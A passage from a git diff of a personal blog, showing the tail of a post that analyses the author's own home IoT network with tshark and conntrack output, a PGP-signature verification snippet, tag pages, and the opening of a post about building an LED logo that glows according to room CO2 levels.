    +1763935618 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 *
    +1763935607 cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc
    +

    2) Top talkers by bytes (hosts table)

    +
    192.168.50.233,7346
    +192.168.50.118,7216
    +192.168.50.131,7216
    +17.253.53.203,7040
    +54.217.122.41,6271
    +192.168.50.216,5392
    +192.168.50.104,3058
    +192.168.50.189,2278
    +17.242.218.132,1802
    +192.168.50.134,1750
    +192.168.50.196,1653
    +3.122.71.119,639
    +18.196.19.65,570
    +161.117.178.131,391
    +17.253.53.201,148
    +17.57.146.25,90
    +10.172.72.196,66
    +224.0.0.251,0
    +224.0.0.2,0
    +255.255.255.255,0
    +

    3) Heaviest flows (src, dst, proto, dport, bytes)

    +
    192.168.50.202,192.168.50.131,TCP,59903,402
    +192.168.50.202,192.168.50.118,TCP,59807,402
    +161.117.178.131,192.168.50.134,TCP,58246,391
    +192.168.50.216,192.168.50.202,UDP,5353,336
    +192.168.50.202,192.168.50.189,UDP,5353,312
    +192.168.50.202,192.168.50.196,UDP,5353,234
    +17.253.53.203,192.168.50.202,TCP,64726,222
    +192.168.50.216,17.57.146.25,TCP,5223,172
    +192.168.50.216,192.168.50.233,UDP,5353,162
    +192.168.50.202,192.168.50.104,UDP,5353,156
    +17.253.53.201,192.168.50.202,TCP,64727,148
    +192.168.50.202,17.253.53.201,TCP,443,132
    +192.168.50.216,224.0.0.251,IP,0,92
    +192.168.50.216,224.0.0.2,IP,0,92
    +17.57.146.25,192.168.50.216,TCP,64544,90
    +192.168.50.216,192.168.50.118,UDP,5353,75
    +192.168.50.216,192.168.50.131,UDP,5353,75
    +192.168.50.216,192.168.50.134,UDP,5353,75
    +192.168.50.216,10.172.72.196,TCP,59593,70
    +10.172.72.196,192.168.50.216,TCP,51638,66
    +

    4) Conntrack snapshot (active connections inventory)

    +
    ipv4     2 tcp      6 48 TIME_WAIT src=10.172.71.98 dst=185.125.190.39 sport=55012 dport=80 src=185.125.190.39 dst=10.172.71.98 sport=80 dport=55012 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=185.40.234.113 sport=41641 dport=3478 src=185.40.234.113 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431665 ESTABLISHED src=192.168.50.216 dst=17.57.146.25 sport=64544 dport=5223 src=17.57.146.25 dst=10.172.71.98 sport=5223 dport=64544 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 17 src=10.172.72.196 dst=10.172.79.255 sport=137 dport=137 [UNREPLIED] src=10.172.79.255 dst=10.172.72.196 sport=137 dport=137 mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=192.168.50.196 dst=18.196.19.65 sport=55164 dport=8883 src=18.196.19.65 dst=10.172.71.98 sport=8883 dport=55164 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=41796 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=41796 mark=0 use=1
    +ipv4     2 unknown  2 265 src=192.168.50.216 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=192.168.50.216 mark=0 use=1
    +ipv4     2 udp      17 5 src=192.168.50.104 dst=1.1.1.1 sport=23791 dport=53 src=1.1.1.1 dst=10.172.71.98 sport=53 dport=23791 mark=0 use=1
    +ipv4     2 udp      17 119 src=10.172.72.205 dst=10.172.71.98 sport=41641 dport=41641 src=10.172.71.98 dst=10.172.72.205 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.71.98 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.71.98 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 tcp      6 431946 ESTABLISHED src=192.168.50.202 dst=17.242.218.132 sport=64686 dport=5223 src=17.242.218.132 dst=10.172.71.98 sport=5223 dport=64686 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=239.255.255.250 sport=40234 dport=1900 [UNREPLIED] src=239.255.255.250 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 96 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49707 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49707 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=1900 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 431812 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55514 dport=49395 src=192.168.50.202 dst=192.168.50.1 sport=49395 dport=55514 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431666 ESTABLISHED src=192.168.50.216 dst=10.172.72.196 sport=51638 dport=59593 src=10.172.72.196 dst=10.172.71.98 sport=59593 dport=51638 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55510 dport=7000 src=192.168.50.202 dst=192.168.50.1 sport=7000 dport=55510 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 14 src=192.168.50.131 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.131 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 unknown  2 596 src=10.172.72.205 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 mark=0 use=1
    +ipv4     2 udp      17 27 src=192.168.50.1 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.1 sport=5353 dport=5353 mark=0 use=8
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=10.172.71.98 sport=5353 dport=5353 [UNREPLIED] src=10.172.71.98 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 15 src=192.168.50.118 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.118 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 88 src=10.172.71.98 dst=109.43.114.250 sport=41641 dport=41641 src=109.43.114.250 dst=10.172.71.98 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=192.168.50.104 dst=18.234.9.109 sport=49700 dport=443 src=18.234.9.109 dst=10.172.71.98 sport=443 dport=49700 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=10.172.71.98 dst=199.165.136.101 sport=45248 dport=443 src=199.165.136.101 dst=10.172.71.98 sport=443 dport=45248 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431992 ESTABLISHED src=10.172.72.196 dst=10.172.71.98 sport=63953 dport=22 src=10.172.71.98 dst=10.172.72.196 sport=22 dport=63953 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431995 ESTABLISHED src=192.168.50.189 dst=3.122.71.119 sport=50422 dport=8883 src=3.122.71.119 dst=10.172.71.98 sport=8883 dport=50422 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.90.104 sport=41641 dport=3478 src=176.58.90.104 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 107 TIME_WAIT src=10.172.71.98 dst=185.125.190.36 sport=50914 dport=80 src=185.125.190.36 dst=10.172.71.98 sport=80 dport=50914 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 26 src=192.168.50.202 dst=192.168.50.1 sport=5353 dport=5353 [UNREPLIED] src=192.168.50.1 dst=192.168.50.202 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=33321 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=33321 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=192.168.50.134 dst=161.117.178.131 sport=58246 dport=11883 src=161.117.178.131 dst=10.172.71.98 sport=11883 dport=58246 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=10.172.71.98 dst=10.172.64.1 sport=35510 dport=53 src=10.172.64.1 dst=10.172.71.98 sport=53 dport=35510 mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.93.154 sport=41641 dport=3478 src=176.58.93.154 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431652 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55513 dport=49394 src=192.168.50.202 dst=192.168.50.1 sport=49394 dport=55513 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 23 src=192.168.50.104 dst=255.255.255.255 sport=21112 dport=20002 [UNREPLIED] src=255.255.255.255 dst=192.168.50.104 sport=20002 dport=21112 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=40234 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=34331 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=34331 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=10.172.71.98 dst=192.200.0.115 sport=48100 dport=443 src=192.200.0.115 dst=10.172.71.98 sport=443 dport=48100 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=10.172.71.98 dst=176.58.93.154 sport=58128 dport=443 src=176.58.93.154 dst=10.172.71.98 sport=443 dport=58128 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55515 dport=49154 src=192.168.50.202 dst=192.168.50.1 sport=49154 dport=55515 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 118 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49708 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49708 [ASSURED] mark=0 use=1
    +

    5) Part of Raw packet capture

    +
      +
    • What’s inside?
    • +
    +
    tshark -r iot_ap_120s.pcap -q -z io,stat,60
    +
    +
    +==================================
    +| IO Statistics                  |
    +|                                |
    +| Duration: 119.773534 secs      |
    +| Interval:  60 secs             |
    +|                                |
    +| Col 1: Frames and bytes        |
    +|--------------------------------|
    +|            |1                  |
    +| Interval   | Frames |   Bytes  |
    +|--------------------------------|
    +|   0 <>  60 |    400 |    60449 |
    +|  60 <> Dur |  24672 | 30179911 |
    +==================================
    +
      +
    • Protocol hierarchy (what kinds of traffic?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -q -z io,phs
    +
    +===================================================================
    +Protocol Hierarchy Statistics
    +Filter: 
    +
    +eth                                      frames:25072 bytes:30240360
    +  ip                                     frames:24706 bytes:30195993
    +    udp                                  frames:349 bytes:94583
    +      mdns                               frames:241 bytes:60693
    +      data                               frames:32 bytes:2240
    +      quic                               frames:76 bytes:31650
    +        quic                             frames:2 bytes:2484
    +    tcp                                  frames:24353 bytes:30101226
    +      tls                                frames:2413 bytes:3493680
    +        tcp.segments                     frames:2256 bytes:3378795
    +          tls                            frames:2222 bytes:3353799
    +      data                               frames:147 bytes:71717
    +      tcp.segments                       frames:5 bytes:7550
    +    igmp                                 frames:4 bytes:184
    +  arp                                    frames:150 bytes:6300
    +  ipv6                                   frames:216 bytes:38067
    +    icmpv6                               frames:124 bytes:10704
    +    udp                                  frames:79 bytes:25415
    +      data                               frames:2 bytes:132
    +      mdns                               frames:77 bytes:25283
    +    tcp                                  frames:13 bytes:1948
    +      data                               frames:1 bytes:90
    +===================================================================
    +
      +
    • Top IP conversations (who talked to whom?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -q -z conv,ip
    +================================================================================
    +IPv4 Conversations
    +Filter:<No Filter>
    +                                               |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |
    +                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
    +192.168.50.202       <-> 17.253.37.195          19588 29 MB        3912 286 kB      23500 29 MB        72.555738000        21.8560
    +192.168.50.1         <-> 192.168.50.202           239 74 kB         238 46 kB         477 120 kB        0.293866000       119.4797
    +192.168.50.1         <-> 224.0.0.251                0 0 bytes       118 28 kB         118 28 kB         0.000000000       119.7310
    +192.168.50.202       <-> 1.1.1.1                   40 20 kB          36 10 kB          76 31 kB        72.033321000        30.3367
    +192.168.50.202       <-> 2.19.120.151              47 44 kB          29 8,460 bytes      76 53 kB        72.062807000        14.8525
    +192.168.50.202       <-> 17.56.138.35              27 7,602 bytes      33 13 kB          60 20 kB        72.107270000        15.0196
    +192.168.50.202       <-> 17.253.53.203             17 7,040 bytes      23 9,256 bytes      40 16 kB        72.326823000        10.5130
    +192.168.50.202       <-> 54.217.122.41             19 6,271 bytes      18 6,122 bytes      37 12 kB       102.352119000         0.3678
    +192.168.50.202       <-> 17.253.53.202             19 22 kB          17 3,099 bytes      36 25 kB        81.940717000         0.3208
    +192.168.50.202       <-> 23.58.105.122             19 9,936 bytes      16 5,759 bytes      35 15 kB        72.225431000         9.6434
    +192.168.50.104       <-> 255.255.255.255            0 0 bytes        32 2,240 bytes      32 2,240 bytes    50.628126000        65.2664
    +17.242.218.132       <-> 192.168.50.202            12 1,701 bytes      13 1,802 bytes      25 3,503 bytes    20.967857000        62.0463
    +192.168.50.189       <-> 3.122.71.119               8 639 bytes      13 978 bytes      21 1,617 bytes     1.112174000       108.8174
    +192.168.50.131       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    19.033978000        79.6932
    +192.168.50.118       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    79.030835000        19.7664
    +192.168.50.233       <-> 224.0.0.251                0 0 bytes        20 6,052 bytes      20 6,052 bytes    79.031250000        19.7814
    +192.168.50.196       <-> 18.196.19.65               8 570 bytes      10 678 bytes      18 1,248 bytes     4.963201000       107.5242
    +192.168.50.216       <-> 224.0.0.251                0 0 bytes        12 3,880 bytes      12 3,880 bytes    98.049857000         4.2949
    +192.168.50.134       <-> 161.117.178.131            5 391 bytes       4 960 bytes       9 1,351 bytes    15.392290000        60.5936
    +192.168.50.202       <-> 192.168.50.189             4 1,300 bytes       4 312 bytes       8 1,612 bytes    26.274469000        93.2919
    +192.168.50.202       <-> 192.168.50.118             2 406 bytes       4 402 bytes       6 808 bytes    17.999757000        60.1593
    +192.168.50.202       <-> 192.168.50.131             2 406 bytes       4 402 bytes       6 808 bytes    17.999812000        60.1593
    +192.168.50.202       <-> 192.168.50.233             2 406 bytes       4 402 bytes       6 808 bytes    17.999825000        60.1592
    +192.168.50.202       <-> 192.168.50.196             3 975 bytes       3 234 bytes       6 1,209 bytes    30.223646000        89.3442
    +192.168.50.216       <-> 192.168.50.233             4 888 bytes       2 162 bytes       6 1,050 bytes    98.322145000         0.1456
    +192.168.50.216       <-> 192.168.50.202             1 1,092 bytes       4 336 bytes       5 1,428 bytes    98.319211000         0.2939
    +192.168.50.216       <-> 192.168.50.1               0 0 bytes         5 455 bytes       5 455 bytes    98.319329000         0.2505
    +192.168.50.202       <-> 17.253.53.201              2 148 bytes       2 132 bytes       4 280 bytes    81.716483000         1.0465
    +192.168.50.202       <-> 192.168.50.104             2 818 bytes       2 156 bytes       4 974 bytes    87.030561000         0.0107
    +192.168.50.216       <-> 192.168.50.131             3 718 bytes       1 75 bytes        4 793 bytes    98.321918000         0.1421
    +192.168.50.216       <-> 192.168.50.118             3 718 bytes       1 75 bytes        4 793 bytes    98.322266000         0.1420
    +192.168.50.216       <-> 17.57.146.25               1 90 bytes        2 172 bytes       3 262 bytes    98.048979000         0.0384
    +192.168.50.216       <-> 192.168.50.134             2 790 bytes       1 75 bytes        3 865 bytes    98.321779000         0.2550
    +192.168.50.216       <-> 224.0.0.2                  0 0 bytes         2 92 bytes        2 92 bytes     98.049757000         0.0001
    +192.168.50.216       <-> 10.172.72.196              1 66 bytes        1 70 bytes        2 136 bytes    98.664295000         0.0060
    +================================================================================
    +
      +
    • Fast “top talkers” table (by source IP)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -T fields -e ip.src -e frame.len \
    +  | awk 'NF==2{b[$1]+=$2} END{for (h in b) printf "%-16s %12d\n", h, b[h]}' \
    +  | sort -k2,2nr | head -n 20
    +17.253.37.195        29540349
    +192.168.50.202         422414
    +192.168.50.1            75521
    +2.19.120.151            44554
    +17.253.53.202           22016
    +1.1.1.1                 20675
    +23.58.105.122            9936
    +17.56.138.35             7602
    +192.168.50.233           7346
    +192.168.50.118           7216
    +192.168.50.131           7216
    +17.253.53.203            7040
    +54.217.122.41            6271
    +192.168.50.216           5392
    +192.168.50.104           3058
    +192.168.50.189           2278
    +17.242.218.132           1802
    +192.168.50.134           1750
    +192.168.50.196           1653
    +3.122.71.119              639
    +
      +
    • DNS & mDNS highlights (what names show up?)
    • +
    +
    # DNS queries (unicast)
    +❯ tshark -r iot_ap_120s.pcap -Y "dns.flags.response==0" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name | head -n 20
    +Nov 23, 2025 11:48:38.131162000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:42.961690000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:42.962245000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:42.962911000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:43.098378000 CET	192.168.50.1	MSS110-f691._hap._tcp.local
    +Nov 23, 2025 11:48:43.158641000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:43.201440000 CET	192.168.50.202	_companion-link._tcp.local
    +Nov 23, 2025 11:48:43.532623000 CET	192.168.50.1	MSS110-080d._hap._tcp.local
    +Nov 23, 2025 11:48:43.962673000 CET	192.168.50.1	_hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom (3)._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:49.110167000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:49.110760000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:49.111395000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:49.272920000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:49.311002000 CET	192.168.50.1	MSS110-0ba7._hap._tcp.local
    +Nov 23, 2025 11:48:49.619376000 CET	192.168.50.1	Main Bedroom (3)._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local
    +Nov 23, 2025 11:48:50.115506000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:55.037844000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:55.038380000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:55.038926000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:55.060503000 CET	192.168.50.202	_companion-link._tcp.local
    +
    +# mDNS service announcements (AirPlay/HomeKit live here)
    +❯ tshark -r iot_ap_120s.pcap  -Y "udp.port==5353 && dns" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name \
    +  | head -n 30
    +

    The latter had no output as I wasn’t able to make that work with a static route and relied on Tailscale. (?)

    +
      +
    • TLS SNI (which cloud endpoints?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -Y "tls.handshake.extensions_server_name" \
    +  -T fields -e ip.dst -e tls.handshake.extensions_server_name \
    +  | sort | uniq -c | sort -k1,1nr | head -n 20
    +   1 1.1.1.1	one.one.one.one
    +   1 17.253.37.195	streamingaudio.itunes.apple.com
    +   1 17.253.53.202	pancake.apple.com
    +   1 17.253.53.203	radio-activity.itunes.apple.com
    +   1 17.56.138.35	cma.itunes.apple.com
    +   1 2.19.120.151	play.itunes.apple.com
    +   1 23.58.105.122	librarydaap.itunes.apple.com
    +   1 54.217.122.41	guzzoni.apple.com
    +
      +
    • Ports in use (quick heat check)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport \
    +  | awk '{for(i=1;i<=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf "%-8s %8d\n", k, p[k]}' \
    +  | sort -k2,2nr | head -n 20
    +64725       19588
    +443          4086
    +5353          318
    +49395         109
    +7000          109
    +55514         102
    +55510         101
    +64721          47
    +54806          40
    +20002          32
    +64722          27
    +8883           23
    +49154          21
    +55515          21
    +64723          19
    +64728          19
    +64729          19
    +5223           14
    +64724          14
    +64686          13
    +

    +

    Epilogue

    +

    I’ve been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! Let’s cross our fingers and hope this setup finally works nicely.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
    +jSr4mxAAr6wizjfSiJPTCywZaFD7DpF1QqVL5N2r7+W6iPkxjXU5ju4yaRyJ3LGP
    +ob51GUAPqSstrTZUJRIQs54MQMqL0WNBiesVSDXlT+cqAgRVN4SaYrRg+dV+kRCA
    +dnFuXXJBvo9y/QYk+SR4F2I9SeqsOQ2V0H2SxndLQAVI318VRbJLwaZF5XHLU8Ax
    +a/+sOpjI2bGgTCW6P2r97PaXyde9Itkdp0LBN2JfkXfmzdY1JdjPdaNmUZuY3N6J
    +HO4MfBUYX33RLmq/CSDm5wzOQRi1O9wt63CWJzzsZuZACbmuJ0gZHYM5JIBHXtnZ
    +wgdtfu31ulnFPVfoIVjCCcN80kWlh671ONKQTZOysknFonm5pIUJnOcCQ4S3HfIm
    +Of5kojUQegInp84ju4yYKCMh115yB05XTyrhf62NouGQVGSBmNBwgFZe4kbfqZ4w
    +xsAfFOpk6niLqZTX1NmgaXeBcalFU2yOzIEH4dXu7OSZmN3UUznAxw4SciD0+HW+
    +T7RjrniAIgX3fFlqIexoDbCa6T2g8Gd00zBzHG65pO4mwAuFL4KB0xLU8KIz6L7M
    +aMFcFVAuq8GdqBbn6mRQ3UwFkOIjq+WbAgvxDJprxI9jBafm6IVXrISyHx0mYfnP
    +OAFDAL768GiHQz7LIB/lLa0qAT6Hs28JZ3/czfGPwVNthFp8tA0=
    +=bk46
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/house_upgrade.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/house_upgrade.md.asc
    +gpg --verify house_upgrade.md.asc house_upgrade.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/wifi/page/1/index.html b/public-onion/tags/wifi/page/1/index.html new file mode 100644 index 0000000..a66e0e6 --- /dev/null +++ b/public-onion/tags/wifi/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/wifi/ + + + + + + diff --git a/public-onion/tags/ws2812/index.html b/public-onion/tags/ws2812/index.html new file mode 100644 index 0000000..8d7d854 --- /dev/null +++ b/public-onion/tags/ws2812/index.html @@ -0,0 +1,357 @@ + + + + + + + +Ws2812 | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    + Six looks of the INET LED logo +
    +
    +

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server +

    +
    +
    +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    +
    +
    October 17, 2025 · 17 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/ws2812/index.xml b/public-onion/tags/ws2812/index.xml new file mode 100644 index 0000000..139bb73 --- /dev/null +++ b/public-onion/tags/ws2812/index.xml @@ -0,0 +1,419 @@ + + + + Ws2812 on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/ws2812/ + Recent content in Ws2812 on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 17 Oct 2025 00:00:00 +0000 + + + INET Logo That Breathes — From CAD to LEDs to a Calm Little Server + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/ + Fri, 17 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/ + <blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> + +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

